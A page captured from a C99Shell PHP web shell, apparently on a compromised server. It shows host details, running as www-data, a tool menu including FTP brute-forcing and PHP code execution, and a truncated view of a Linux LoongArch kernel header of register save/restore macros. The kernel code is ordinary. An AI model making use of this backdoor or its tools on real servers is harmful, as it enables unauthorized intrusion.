!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/src/linux-oracle-6.8-headers-6.8.0-1028/arch/loongarch/include/asm/   drwxr-xr-x
Free 83.35 GB of 96.73 GB (86.17%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     asmmacro.h (22.32 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright (C) 2020-2022 Loongson Technology Corporation Limited
 */
#ifndef _ASM_ASMMACRO_H
#define _ASM_ASMMACRO_H

#include <asm/asm-offsets.h>
#include <asm/regdef.h>
#include <asm/fpregdef.h>
#include <asm/loongarch.h>

    .macro    cpu_save_nonscratch thread
    stptr.d    s0, \thread, THREAD_REG23
    stptr.d    s1, \thread, THREAD_REG24
    stptr.d    s2, \thread, THREAD_REG25
    stptr.d    s3, \thread, THREAD_REG26
    stptr.d    s4, \thread, THREAD_REG27
    stptr.d    s5, \thread, THREAD_REG28
    stptr.d    s6, \thread, THREAD_REG29
    stptr.d    s7, \thread, THREAD_REG30
    stptr.d    s8, \thread, THREAD_REG31
    stptr.d    sp, \thread, THREAD_REG03
    stptr.d    fp, \thread, THREAD_REG22
    .endm

    .macro    cpu_restore_nonscratch thread
    ldptr.d    s0, \thread, THREAD_REG23
    ldptr.d    s1, \thread, THREAD_REG24
    ldptr.d    s2, \thread, THREAD_REG25
    ldptr.d    s3, \thread, THREAD_REG26
    ldptr.d    s4, \thread, THREAD_REG27
    ldptr.d    s5, \thread, THREAD_REG28
    ldptr.d    s6, \thread, THREAD_REG29
    ldptr.d    s7, \thread, THREAD_REG30
    ldptr.d    s8, \thread, THREAD_REG31
    ldptr.d    ra, \thread, THREAD_REG01
    ldptr.d    sp, \thread, THREAD_REG03
    ldptr.d    fp, \thread, THREAD_REG22
    .endm

    .macro fpu_save_csr thread tmp
    movfcsr2gr    \tmp, fcsr0
    stptr.w        \tmp, \thread, THREAD_FCSR
#ifdef CONFIG_CPU_HAS_LBT
    /* TM bit is always 0 if LBT not supported */
    andi        \tmp, \tmp, FPU_CSR_TM
    beqz        \tmp, 1f
    /* Save FTOP */
    x86mftop    \tmp
    stptr.w        \tmp, \thread, THREAD_FTOP
    /* Turn off TM to ensure the order of FPR in memory independent of TM */
    x86clrtm
1:
#endif
    .endm

    .macro fpu_restore_csr thread tmp0 tmp1
    ldptr.w        \tmp0, \thread, THREAD_FCSR
    movgr2fcsr    fcsr0, \tmp0
#ifdef CONFIG_CPU_HAS_LBT
    /* TM bit is always 0 if LBT not supported */
    andi        \tmp0, \tmp0, FPU_CSR_TM
    beqz        \tmp0, 2f
    /* Restore FTOP */
    ldptr.w        \tmp0, \thread, THREAD_FTOP
    andi        \tmp0, \tmp0, 0x7
    la.pcrel    \tmp1, 1f
    alsl.d        \tmp1, \tmp0, \tmp1, 3
    jr        \tmp1
1:
    x86mttop    0
    b    2f
    x86mttop    1
    b    2f
    x86mttop    2
    b    2f
    x86mttop    3
    b    2f
    x86mttop    4
    b    2f
    x86mttop    5
    b    2f
    x86mttop    6
    b    2f
    x86mttop    7
2:
#endif
    .endm

    .macro fpu_save_cc thread tmp0 tmp1
    movcf2gr    \tmp0, $fcc0
    move    \tmp1, \tmp0
    movcf2gr    \tmp0, $fcc1
    bstrins.d    \tmp1, \tmp0, 15, 8
    movcf2gr    \tmp0, $fcc2
    bstrins.d    \tmp1, \tmp0, 23, 16
    movcf2gr    \tmp0, $fcc3
    bstrins.d    \tmp1, \tmp0, 31, 24
    movcf2gr    \tmp0, $fcc4
    bstrins.d    \tmp1, \tmp0, 39, 32
    movcf2gr    \tmp0, $fcc5
    bstrins.d    \tmp1, \tmp0, 47, 40
    movcf2gr    \tmp0, $fcc6
    bstrins.d    \tmp1, \tmp0, 55, 48
    movcf2gr    \tmp0, $fcc7
    bstrins.d    \tmp1, \tmp0, 63, 56
    stptr.d        \tmp1, \thread, THREAD_FCC
    .endm

    .macro fpu_restore_cc thread tmp0 tmp1
    ldptr.d    \tmp0, \thread, THREAD_FCC
    bstrpick.d    \tmp1, \tmp0, 7, 0
    movgr2cf    $fcc0, \tmp1
    bstrpick.d    \tmp1, \tmp0, 15, 8
    movgr2cf    $fcc1, \tmp1
    bstrpick.d    \tmp1, \tmp0, 23, 16
    movgr2cf    $fcc2, \tmp1
    bstrpick.d    \tmp1, \tmp0, 31, 24
    movgr2cf    $fcc3, \tmp1
    bstrpick.d    \tmp1, \tmp0, 39, 32
    movgr2cf    $fcc4, \tmp1
    bstrpick.d    \tmp1, \tmp0, 47, 40
    movgr2cf    $fcc5, \tmp1
    bstrpick.d    \tmp1, \tmp0, 55, 48
    movgr2cf    $fcc6, \tmp1
    bstrpick.d    \tmp1, \tmp0, 63, 56
    movgr2cf    $fcc7, \tmp1
    .endm

    .macro    fpu_save_double thread tmp
    li.w    \tmp, THREAD_FPR0
    PTR_ADD \tmp, \tmp, \thread
    fst.d    $f0, \tmp, THREAD_FPR0  - THREAD_FPR0
    fst.d    $f1, \tmp, THREAD_FPR1  - THREAD_FPR0
    fst.d    $f2, \tmp, THREAD_FPR2  - THREAD_FPR0
    fst.d    $f3, \tmp, THREAD_FPR3  - THREAD_FPR0
    fst.d    $f4, \tmp, THREAD_FPR4  - THREAD_FPR0
    fst.d    $f5, \tmp, THREAD_FPR5  - THREAD_FPR0
    fst.d    $f6, \tmp, THREAD_FPR6  - THREAD_FPR0
    fst.d    $f7, \tmp, THREAD_FPR7  - THREAD_FPR0
    fst.d    $f8, \tmp, THREAD_FPR8  - THREAD_FPR0
    fst.d    $f9, \tmp, THREAD_FPR9  - THREAD_FPR0
    fst.d    $f10, \tmp, THREAD_FPR10 - THREAD_FPR0
    fst.d    $f11, \tmp, THREAD_FPR11 - THREAD_FPR0
    fst.d    $f12, \tmp, THREAD_FPR12 - THREAD_FPR0
    fst.d    $f13, \tmp, THREAD_FPR13 - THREAD_FPR0
    fst.d    $f14, \tmp, THREAD_FPR14 - THREAD_FPR0
    fst.d    $f15, \tmp, THREAD_FPR15 - THREAD_FPR0
    fst.d    $f16, \tmp, THREAD_FPR16 - THREAD_FPR0
    fst.d    $f17, \tmp, THREAD_FPR17 - THREAD_FPR0
    fst.d    $f18, \tmp, THREAD_FPR18 - THREAD_FPR0
    fst.d    $f19, \tmp, THREAD_FPR19 - THREAD_FPR0
    fst.d    $f20, \tmp, THREAD_FPR20 - THREAD_FPR0
    fst.d    $f21, \tmp, THREAD_FPR21 - THREAD_FPR0
    fst.d    $f22, \tmp, THREAD_FPR22 - THREAD_FPR0
    fst.d    $f23, \tmp, THREAD_FPR23 - THREAD_FPR0
    fst.d    $f24, \tmp, THREAD_FPR24 - THREAD_FPR0
    fst.d    $f25, \tmp, THREAD_FPR25 - THREAD_FPR0
    fst.d    $f26, \tmp, THREAD_FPR26 - THREAD_FPR0
    fst.d    $f27, \tmp, THREAD_FPR27 - THREAD_FPR0
    fst.d    $f28, \tmp, THREAD_FPR28 - THREAD_FPR0
    fst.d    $f29, \tmp, THREAD_FPR29 - THREAD_FPR0
    fst.d    $f30, \tmp, THREAD_FPR30 - THREAD_FPR0
    fst.d    $f31, \tmp, THREAD_FPR31 - THREAD_FPR0
    .endm

    .macro    fpu_restore_double thread tmp
    li.w    \tmp, THREAD_FPR0
    PTR_ADD \tmp, \tmp, \thread
    fld.d    $f0, \tmp, THREAD_FPR0  - THREAD_FPR0
    fld.d    $f1, \tmp, THREAD_FPR1  - THREAD_FPR0
    fld.d    $f2, \tmp, THREAD_FPR2  - THREAD_FPR0
    fld.d    $f3, \tmp, THREAD_FPR3  - THREAD_FPR0
    fld.d    $f4, \tmp, THREAD_FPR4  - THREAD_FPR0
    fld.d    $f5, \tmp, THREAD_FPR5  - THREAD_FPR0
    fld.d    $f6, \tmp, THREAD_FPR6  - THREAD_FPR0
    fld.d    $f7, \tmp, THREAD_FPR7  - THREAD_FPR0
    fld.d    $f8, \tmp, THREAD_FPR8  - THREAD_FPR0
    fld.d    $f9, \tmp, THREAD_FPR9  - THREAD_FPR0
    fld.d    $f10, \tmp, THREAD_FPR10 - THREAD_FPR0
    fld.d    $f11, \tmp, THREAD_FPR11 - THREAD_FPR0
    fld.d    $f12, \tmp, THREAD_FPR12 - THREAD_FPR0
    fld.d    $f13, \tmp, THREAD_FPR13 - THREAD_FPR0
    fld.d    $f14, \tmp, THREAD_FPR14 - THREAD_FPR0
    fld.d    $f15, \tmp, THREAD_FPR15 - THREAD_FPR0
    fld.d    $f16, \tmp, THREAD_FPR16 - THREAD_FPR0
    fld.d    $f17, \tmp, THREAD_FPR17 - THREAD_FPR0
    fld.d    $f18, \tmp, THREAD_FPR18 - THREAD_FPR0
    fld.d    $f19, \tmp, THREAD_FPR19 - THREAD_FPR0
    fld.d    $f20, \tmp, THREAD_FPR20 - THREAD_FPR0
    fld.d    $f21, \tmp, THREAD_FPR21 - THREAD_FPR0
    fld.d    $f22, \tmp, THREAD_FPR22 - THREAD_FPR0
    fld.d    $f23, \tmp, THREAD_FPR23 - THREAD_FPR0
    fld.d    $f24, \tmp, THREAD_FPR24 - THREAD_FPR0
    fld.d    $f25, \tmp, THREAD_FPR25 - THREAD_FPR0
    fld.d    $f26, \tmp, THREAD_FPR26 - THREAD_FPR0
    fld.d    $f27, \tmp, THREAD_FPR27 - THREAD_FPR0
    fld.d    $f28, \tmp, THREAD_FPR28 - THREAD_FPR0
    fld.d    $f29, \tmp, THREAD_FPR29 - THREAD_FPR0
    fld.d    $f30, \tmp, THREAD_FPR30 - THREAD_FPR0
    fld.d    $f31, \tmp, THREAD_FPR31 - THREAD_FPR0
    .endm

    .macro    lsx_save_data thread tmp
    li.w    \tmp, THREAD_FPR0
    PTR_ADD \tmp, \thread, \tmp
    vst    $vr0, \tmp, THREAD_FPR0  - THREAD_FPR0
    vst    $vr1, \tmp, THREAD_FPR1  - THREAD_FPR0
    vst    $vr2, \tmp, THREAD_FPR2  - THREAD_FPR0
    vst    $vr3, \tmp, THREAD_FPR3  - THREAD_FPR0
    vst    $vr4, \tmp, THREAD_FPR4  - THREAD_FPR0
    vst    $vr5, \tmp, THREAD_FPR5  - THREAD_FPR0
    vst    $vr6, \tmp, THREAD_FPR6  - THREAD_FPR0
    vst    $vr7, \tmp, THREAD_FPR7  - THREAD_FPR0
    vst    $vr8, \tmp, THREAD_FPR8  - THREAD_FPR0
    vst    $vr9, \tmp, THREAD_FPR9  - THREAD_FPR0
    vst    $vr10, \tmp, THREAD_FPR10 - THREAD_FPR0
    vst    $vr11, \tmp, THREAD_FPR11 - THREAD_FPR0
    vst    $vr12, \tmp, THREAD_FPR12 - THREAD_FPR0
    vst    $vr13, \tmp, THREAD_FPR13 - THREAD_FPR0
    vst    $vr14, \tmp, THREAD_FPR14 - THREAD_FPR0
    vst    $vr15, \tmp, THREAD_FPR15 - THREAD_FPR0
    vst    $vr16, \tmp, THREAD_FPR16 - THREAD_FPR0
    vst    $vr17, \tmp, THREAD_FPR17 - THREAD_FPR0
    vst    $vr18, \tmp, THREAD_FPR18 - THREAD_FPR0
    vst    $vr19, \tmp, THREAD_FPR19 - THREAD_FPR0
    vst    $vr20, \tmp, THREAD_FPR20 - THREAD_FPR0
    vst    $vr21, \tmp, THREAD_FPR21 - THREAD_FPR0
    vst    $vr22, \tmp, THREAD_FPR22 - THREAD_FPR0
    vst    $vr23, \tmp, THREAD_FPR23 - THREAD_FPR0
    vst    $vr24, \tmp, THREAD_FPR24 - THREAD_FPR0
    vst    $vr25, \tmp, THREAD_FPR25 - THREAD_FPR0
    vst    $vr26, \tmp, THREAD_FPR26 - THREAD_FPR0
    vst    $vr27, \tmp, THREAD_FPR27 - THREAD_FPR0
    vst    $vr28, \tmp, THREAD_FPR28 - THREAD_FPR0
    vst    $vr29, \tmp, THREAD_FPR29 - THREAD_FPR0
    vst    $vr30, \tmp, THREAD_FPR30 - THREAD_FPR0
    vst    $vr31, \tmp, THREAD_FPR31 - THREAD_FPR0
    .endm

    .macro    lsx_restore_data thread tmp
    li.w    \tmp, THREAD_FPR0
    PTR_ADD    \tmp, \thread, \tmp
    vld    $vr0, \tmp, THREAD_FPR0  - THREAD_FPR0
    vld    $vr1, \tmp, THREAD_FPR1  - THREAD_FPR0
    vld    $vr2, \tmp, THREAD_FPR2  - THREAD_FPR0
    vld    $vr3, \tmp, THREAD_FPR3  - THREAD_FPR0
    vld    $vr4, \tmp, THREAD_FPR4  - THREAD_FPR0
    vld    $vr5, \tmp, THREAD_FPR5  - THREAD_FPR0
    vld    $vr6, \tmp, THREAD_FPR6  - THREAD_FPR0
    vld    $vr7, \tmp, THREAD_FPR7  - THREAD_FPR0
    vld    $vr8, \tmp, THREAD_FPR8  - THREAD_FPR0
    vld    $vr9, \tmp, THREAD_FPR9  - THREAD_FPR0
    vld    $vr10, \tmp, THREAD_FPR10 - THREAD_FPR0
    vld    $vr11, \tmp, THREAD_FPR11 - THREAD_FPR0
    vld    $vr12, \tmp, THREAD_FPR12 - THREAD_FPR0
    vld    $vr13, \tmp, THREAD_FPR13 - THREAD_FPR0
    vld    $vr14, \tmp, THREAD_FPR14 - THREAD_FPR0
    vld    $vr15, \tmp, THREAD_FPR15 - THREAD_FPR0
    vld    $vr16, \tmp, THREAD_FPR16 - THREAD_FPR0
    vld    $vr17, \tmp, THREAD_FPR17 - THREAD_FPR0
    vld    $vr18, \tmp, THREAD_FPR18 - THREAD_FPR0
    vld    $vr19, \tmp, THREAD_FPR19 - THREAD_FPR0
    vld    $vr20, \tmp, THREAD_FPR20 - THREAD_FPR0
    vld    $vr21, \tmp, THREAD_FPR21 - THREAD_FPR0
    vld    $vr22, \tmp, THREAD_FPR22 - THREAD_FPR0
    vld    $vr23, \tmp, THREAD_FPR23 - THREAD_FPR0
    vld    $vr24, \tmp, THREAD_FPR24 - THREAD_FPR0
    vld    $vr25, \tmp, THREAD_FPR25 - THREAD_FPR0
    vld    $vr26, \tmp, THREAD_FPR26 - THREAD_FPR0
    vld    $vr27, \tmp, THREAD_FPR27 - THREAD_FPR0
    vld    $vr28, \tmp, THREAD_FPR28 - THREAD_FPR0
    vld    $vr29, \tmp, THREAD_FPR29 - THREAD_FPR0
    vld    $vr30, \tmp, THREAD_FPR30 - THREAD_FPR0
    vld    $vr31, \tmp, THREAD_FPR31 - THREAD_FPR0
    .endm

    .macro    lsx_save_all    thread tmp0 tmp1
    fpu_save_cc        \thread, \tmp0, \tmp1
    fpu_save_csr        \thread, \tmp0
    lsx_save_data        \thread, \tmp0
    .endm

    .macro    lsx_restore_all    thread tmp0 tmp1
    lsx_restore_data    \thread, \tmp0
    fpu_restore_cc        \thread, \tmp0, \tmp1
    fpu_restore_csr        \thread, \tmp0, \tmp1
    .endm

    .macro    lsx_save_upper vd base tmp off
    vpickve2gr.d    \tmp, \vd, 1
    st.d        \tmp, \base, (\off+8)
    .endm

    .macro    lsx_save_all_upper thread base tmp
    li.w        \tmp, THREAD_FPR0
    PTR_ADD        \base, \thread, \tmp
    lsx_save_upper    $vr0,  \base, \tmp, (THREAD_FPR0-THREAD_FPR0)
    lsx_save_upper    $vr1,  \base, \tmp, (THREAD_FPR1-THREAD_FPR0)
    lsx_save_upper    $vr2,  \base, \tmp, (THREAD_FPR2-THREAD_FPR0)
    lsx_save_upper    $vr3,  \base, \tmp, (THREAD_FPR3-THREAD_FPR0)
    lsx_save_upper    $vr4,  \base, \tmp, (THREAD_FPR4-THREAD_FPR0)
    lsx_save_upper    $vr5,  \base, \tmp, (THREAD_FPR5-THREAD_FPR0)
    lsx_save_upper    $vr6,  \base, \tmp, (THREAD_FPR6-THREAD_FPR0)
    lsx_save_upper    $vr7,  \base, \tmp, (THREAD_FPR7-THREAD_FPR0)
    lsx_save_upper    $vr8,  \base, \tmp, (THREAD_FPR8-THREAD_FPR0)
    lsx_save_upper    $vr9,  \base, \tmp, (THREAD_FPR9-THREAD_FPR0)
    lsx_save_upper    $vr10, \base, \tmp, (THREAD_FPR10-THREAD_FPR0)
    lsx_save_upper    $vr11, \base, \tmp, (THREAD_FPR11-THREAD_FPR0)
    lsx_save_upper    $vr12, \base, \tmp, (THREAD_FPR12-THREAD_FPR0)
    lsx_save_upper    $vr13, \base, \tmp, (THREAD_FPR13-THREAD_FPR0)
    lsx_save_upper    $vr14, \base, \tmp, (THREAD_FPR14-THREAD_FPR0)
    lsx_save_upper    $vr15, \base, \tmp, (THREAD_FPR15-THREAD_FPR0)
    lsx_save_upper    $vr16, \base, \tmp, (THREAD_FPR16-THREAD_FPR0)
    lsx_save_upper    $vr17, \base, \tmp, (THREAD_FPR17-THREAD_FPR0)
    lsx_save_upper    $vr18, \base, \tmp, (THREAD_FPR18-THREAD_FPR0)
    lsx_save_upper    $vr19, \base, \tmp, (THREAD_FPR19-THREAD_FPR0)
    lsx_save_upper    $vr20, \base, \tmp, (THREAD_FPR20-THREAD_FPR0)
    lsx_save_upper    $vr21, \base, \tmp, (THREAD_FPR21-THREAD_FPR0)
    lsx_save_upper    $vr22, \base, \tmp, (THREAD_FPR22-THREAD_FPR0)
    lsx_save_upper    $vr23, \base, \tmp, (THREAD_FPR23-THREAD_FPR0)
    lsx_save_upper    $vr24, \base, \tmp, (THREAD_FPR24-THREAD_FPR0)
    lsx_save_upper    $vr25, \base, \tmp, (THREAD_FPR25-THREAD_FPR0)
    lsx_save_upper    $vr26, \base, \tmp, (THREAD_FPR26-THREAD_FPR0)
    lsx_save_upper    $vr27, \base, \tmp, (THREAD_FPR27-THREAD_FPR0)
    lsx_save_upper    $vr28, \base, \tmp, (THREAD_FPR28-THREAD_FPR0)
    lsx_save_upper    $vr29, \base, \tmp, (THREAD_FPR29-THREAD_FPR0)
    lsx_save_upper    $vr30, \base, \tmp, (THREAD_FPR30-THREAD_FPR0)
    lsx_save_upper    $vr31, \base, \tmp, (THREAD_FPR31-THREAD_FPR0)
    .endm

    .macro    lsx_restore_upper vd base tmp off
    ld.d        \tmp, \base, (\off+8)
    vinsgr2vr.d    \vd,  \tmp, 1
    .endm

    .macro    lsx_restore_all_upper thread base tmp
    li.w          \tmp, THREAD_FPR0
    PTR_ADD          \base, \thread, \tmp
    lsx_restore_upper $vr0,  \base, \tmp, (THREAD_FPR0-THREAD_FPR0)
    lsx_restore_upper $vr1,  \base, \tmp, (THREAD_FPR1-THREAD_FPR0)
    lsx_restore_upper $vr2,  \base, \tmp, (THREAD_FPR2-THREAD_FPR0)
    lsx_restore_upper $vr3,  \base, \tmp, (THREAD_FPR3-THREAD_FPR0)
    lsx_restore_upper $vr4,  \base, \tmp, (THREAD_FPR4-THREAD_FPR0)
    lsx_restore_upper $vr5,  \base, \tmp, (THREAD_FPR5-THREAD_FPR0)
    lsx_restore_upper $vr6,  \base, \tmp, (THREAD_FPR6-THREAD_FPR0)
    lsx_restore_upper $vr7,  \base, \tmp, (THREAD_FPR7-THREAD_FPR0)
    lsx_restore_upper $vr8,  \base, \tmp, (THREAD_FPR8-THREAD_FPR0)
    lsx_restore_upper $vr9,  \base, \tmp, (THREAD_FPR9-THREAD_FPR0)
    lsx_restore_upper $vr10, \base, \tmp, (THREAD_FPR10-THREAD_FPR0)
    lsx_restore_upper $vr11, \base, \tmp, (THREAD_FPR11-THREAD_FPR0)
    lsx_restore_upper $vr12, \base, \tmp, (THREAD_FPR12-THREAD_FPR0)
    lsx_restore_upper $vr13, \base, \tmp, (THREAD_FPR13-THREAD_FPR0)
    lsx_restore_upper $vr14, \base, \tmp, (THREAD_FPR14-THREAD_FPR0)
    lsx_restore_upper $vr15, \base, \tmp, (THREAD_FPR15-THREAD_FPR0)
    lsx_restore_upper $vr16, \base, \tmp, (THREAD_FPR16-THREAD_FPR0)
    lsx_restore_upper $vr17, \base, \tmp, (THREAD_FPR17-THREAD_FPR0)
    lsx_restore_upper $vr18, \base, \tmp, (THREAD_FPR18-THREAD_FPR0)
    lsx_restore_upper $vr19, \base, \tmp, (THREAD_FPR19-THREAD_FPR0)
    lsx_restore_upper $vr20, \base, \tmp, (THREAD_FPR20-THREAD_FPR0)
    lsx_restore_upper $vr21, \base, \tmp, (THREAD_FPR21-THREAD_FPR0)
    lsx_restore_upper $vr22, \base, \tmp, (THREAD_FPR22-THREAD_FPR0)
    lsx_restore_upper $vr23, \base, \tmp, (THREAD_FPR23-THREAD_FPR0)
    lsx_restore_upper $vr24, \base, \tmp, (THREAD_FPR24-THREAD_FPR0)
    lsx_restore_upper $vr25, \base, \tmp, (THREAD_FPR25-THREAD_FPR0)
    lsx_restore_upper $vr26, \base, \tmp, (THREAD_FPR26-THREAD_FPR0)
    lsx_restore_upper $vr27, \base, \tmp, (THREAD_FPR27-THREAD_FPR0)
    lsx_restore_upper $vr28, \base, \tmp, (THREAD_FPR28-THREAD_FPR0)
    lsx_restore_upper $vr29, \base, \tmp, (THREAD_FPR29-THREAD_FPR0)
    lsx_restore_upper $vr30, \base, \tmp, (THREAD_FPR30-THREAD_FPR0)
    lsx_restore_upper $vr31, \base, \tmp, (THREAD_FPR31-THREAD_FPR0)
    .endm

    .macro    lsx_init_upper vd tmp
    vinsgr2vr.d    \vd, \tmp, 1
    .endm

    .macro    lsx_init_all_upper tmp
    not        \tmp, zero
    lsx_init_upper    $vr0 \tmp
    lsx_init_upper    $vr1 \tmp
    lsx_init_upper    $vr2 \tmp
    lsx_init_upper    $vr3 \tmp
    lsx_init_upper    $vr4 \tmp
    lsx_init_upper    $vr5 \tmp
    lsx_init_upper    $vr6 \tmp
    lsx_init_upper    $vr7 \tmp
    lsx_init_upper    $vr8 \tmp
    lsx_init_upper    $vr9 \tmp
    lsx_init_upper    $vr10 \tmp
    lsx_init_upper    $vr11 \tmp
    lsx_init_upper    $vr12 \tmp
    lsx_init_upper    $vr13 \tmp
    lsx_init_upper    $vr14 \tmp
    lsx_init_upper    $vr15 \tmp
    lsx_init_upper    $vr16 \tmp
    lsx_init_upper    $vr17 \tmp
    lsx_init_upper    $vr18 \tmp
    lsx_init_upper    $vr19 \tmp
    lsx_init_upper    $vr20 \tmp
    lsx_init_upper    $vr21 \tmp
    lsx_init_upper    $vr22 \tmp
    lsx_init_upper    $vr23 \tmp
    lsx_init_upper    $vr24 \tmp
    lsx_init_upper    $vr25 \tmp
    lsx_init_upper    $vr26 \tmp
    lsx_init_upper    $vr27 \tmp
    lsx_init_upper    $vr28 \tmp
    lsx_init_upper    $vr29 \tmp
    lsx_init_upper    $vr30 \tmp
    lsx_init_upper    $vr31 \tmp
    .endm

    .macro    lasx_save_data thread tmp
    li.w    \tmp, THREAD_FPR0
    PTR_ADD    \tmp, \thread, \tmp
    xvst    $xr0, \tmp, THREAD_FPR0  - THREAD_FPR0
    xvst    $xr1, \tmp, THREAD_FPR1  - THREAD_FPR0
    xvst    $xr2, \tmp, THREAD_FPR2  - THREAD_FPR0
    xvst    $xr3, \tmp, THREAD_FPR3  - THREAD_FPR0
    xvst    $xr4, \tmp, THREAD_FPR4  - THREAD_FPR0
    xvst    $xr5, \tmp, THREAD_FPR5  - THREAD_FPR0
    xvst    $xr6, \tmp, THREAD_FPR6  - THREAD_FPR0
    xvst    $xr7, \tmp, THREAD_FPR7  - THREAD_FPR0
    xvst    $xr8, \tmp, THREAD_FPR8  - THREAD_FPR0
    xvst    $xr9, \tmp, THREAD_FPR9  - THREAD_FPR0
    xvst    $xr10, \tmp, THREAD_FPR10 - THREAD_FPR0
    xvst    $xr11, \tmp, THREAD_FPR11 - THREAD_FPR0
    xvst    $xr12, \tmp, THREAD_FPR12 - THREAD_FPR0
    xvst    $xr13, \tmp, THREAD_FPR13 - THREAD_FPR0
    xvst    $xr14, \tmp, THREAD_FPR14 - THREAD_FPR0
    xvst    $xr15, \tmp, THREAD_FPR15 - THREAD_FPR0
    xvst    $xr16, \tmp, THREAD_FPR16 - THREAD_FPR0
    xvst    $xr17, \tmp, THREAD_FPR17 - THREAD_FPR0
    xvst    $xr18, \tmp, THREAD_FPR18 - THREAD_FPR0
    xvst    $xr19, \tmp, THREAD_FPR19 - THREAD_FPR0
    xvst    $xr20, \tmp, THREAD_FPR20 - THREAD_FPR0
    xvst    $xr21, \tmp, THREAD_FPR21 - THREAD_FPR0
    xvst    $xr22, \tmp, THREAD_FPR22 - THREAD_FPR0
    xvst    $xr23, \tmp, THREAD_FPR23 - THREAD_FPR0
    xvst    $xr24, \tmp, THREAD_FPR24 - THREAD_FPR0
    xvst    $xr25, \tmp, THREAD_FPR25 - THREAD_FPR0
    xvst    $xr26, \tmp, THREAD_FPR26 - THREAD_FPR0
    xvst    $xr27, \tmp, THREAD_FPR27 - THREAD_FPR0
    xvst    $xr28, \tmp, THREAD_FPR28 - THREAD_FPR0
    xvst    $xr29, \tmp, THREAD_FPR29 - THREAD_FPR0
    xvst    $xr30, \tmp, THREAD_FPR30 - THREAD_FPR0
    xvst    $xr31, \tmp, THREAD_FPR31 - THREAD_FPR0
    .endm

    .macro    lasx_restore_data thread tmp
    li.w    \tmp, THREAD_FPR0
    PTR_ADD    \tmp, \thread, \tmp
    xvld    $xr0, \tmp, THREAD_FPR0  - THREAD_FPR0
    xvld    $xr1, \tmp, THREAD_FPR1  - THREAD_FPR0
    xvld    $xr2, \tmp, THREAD_FPR2  - THREAD_FPR0
    xvld    $xr3, \tmp, THREAD_FPR3  - THREAD_FPR0
    xvld    $xr4, \tmp, THREAD_FPR4  - THREAD_FPR0
    xvld    $xr5, \tmp, THREAD_FPR5  - THREAD_FPR0
    xvld    $xr6, \tmp, THREAD_FPR6  - THREAD_FPR0
    xvld    $xr7, \tmp, THREAD_FPR7  - THREAD_FPR0
    xvld    $xr8, \tmp, THREAD_FPR8  - THREAD_FPR0
    xvld    $xr9, \tmp, THREAD_FPR9  - THREAD_FPR0
    xvld    $xr10, \tmp, THREAD_FPR10 - THREAD_FPR0
    xvld    $xr11, \tmp, THREAD_FPR11 - THREAD_FPR0
    xvld    $xr12, \tmp, THREAD_FPR12 - THREAD_FPR0
    xvld    $xr13, \tmp, THREAD_FPR13 - THREAD_FPR0
    xvld    $xr14, \tmp, THREAD_FPR14 - THREAD_FPR0
    xvld    $xr15, \tmp, THREAD_FPR15 - THREAD_FPR0
    xvld    $xr16, \tmp, THREAD_FPR16 - THREAD_FPR0
    xvld    $xr17, \tmp, THREAD_FPR17 - THREAD_FPR0
    xvld    $xr18, \tmp, THREAD_FPR18 - THREAD_FPR0
    xvld    $xr19, \tmp, THREAD_FPR19 - THREAD_FPR0
    xvld    $xr20, \tmp, THREAD_FPR20 - THREAD_FPR0
    xvld    $xr21, \tmp, THREAD_FPR21 - THREAD_FPR0
    xvld    $xr22, \tmp, THREAD_FPR22 - THREAD_FPR0
    xvld    $xr23, \tmp, THREAD_FPR23 - THREAD_FPR0
    xvld    $xr24, \tmp, THREAD_FPR24 - THREAD_FPR0
    xvld    $xr25, \tmp, THREAD_FPR25 - THREAD_FPR0
    xvld    $xr26, \tmp, THREAD_FPR26 - THREAD_FPR0
    xvld    $xr27, \tmp, THREAD_FPR27 - THREAD_FPR0
    xvld    $xr28, \tmp, THREAD_FPR28 - THREAD_FPR0
    xvld    $xr29, \tmp, THREAD_FPR29 - THREAD_FPR0
    xvld    $xr30, \tmp, THREAD_FPR30 - THREAD_FPR0
    xvld    $xr31, \tmp, THREAD_FPR31 - THREAD_FPR0
    .endm

    .macro    lasx_save_all    thread tmp0 tmp1
    fpu_save_cc        \thread, \tmp0, \tmp1
    fpu_save_csr        \thread, \tmp0
    lasx_save_data        \thread, \tmp0
    .endm

    .macro    lasx_restore_all thread tmp0 tmp1
    lasx_restore_data    \thread, \tmp0
    fpu_restore_cc        \thread, \tmp0, \tmp1
    fpu_restore_csr        \thread, \tmp0, \tmp1
    .endm

    .macro    lasx_save_upper xd base tmp off
    /* Nothing */
    .endm

    .macro    lasx_save_all_upper thread base tmp
    /* Nothing */
    .endm

    .macro    lasx_restore_upper xd base tmp0 tmp1 off
    vld        \tmp0, \base, (\off+16)
    xvpermi.q     \xd,   \tmp1, 0x2
    .endm

    .macro    lasx_restore_all_upper thread base tmp
    li.w        \tmp, THREAD_FPR0
    PTR_ADD        \base, \thread, \tmp
    /* Save $vr31 ($xr31 lower bits) with xvpickve2gr */
    xvpickve2gr.d    $r17, $xr31, 0
    xvpickve2gr.d    $r18, $xr31, 1
    lasx_restore_upper $xr0, \base, $vr31, $xr31, (THREAD_FPR0-THREAD_FPR0)
    lasx_restore_upper $xr1, \base, $vr31, $xr31, (THREAD_FPR1-THREAD_FPR0)
    lasx_restore_upper $xr2, \base, $vr31, $xr31, (THREAD_FPR2-THREAD_FPR0)
    lasx_restore_upper $xr3, \base, $vr31, $xr31, (THREAD_FPR3-THREAD_FPR0)
    lasx_restore_upper $xr4, \base, $vr31, $xr31, (THREAD_FPR4-THREAD_FPR0)
    lasx_restore_upper $xr5, \base, $vr31, $xr31, (THREAD_FPR5-THREAD_FPR0)
    lasx_restore_upper $xr6, \base, $vr31, $xr31, (THREAD_FPR6-THREAD_FPR0)
    lasx_restore_upper $xr7, \base, $vr31, $xr31, (THREAD_FPR7-THREAD_FPR0)
    lasx_restore_upper $xr8, \base, $vr31, $xr31, (THREAD_FPR8-THREAD_FPR0)
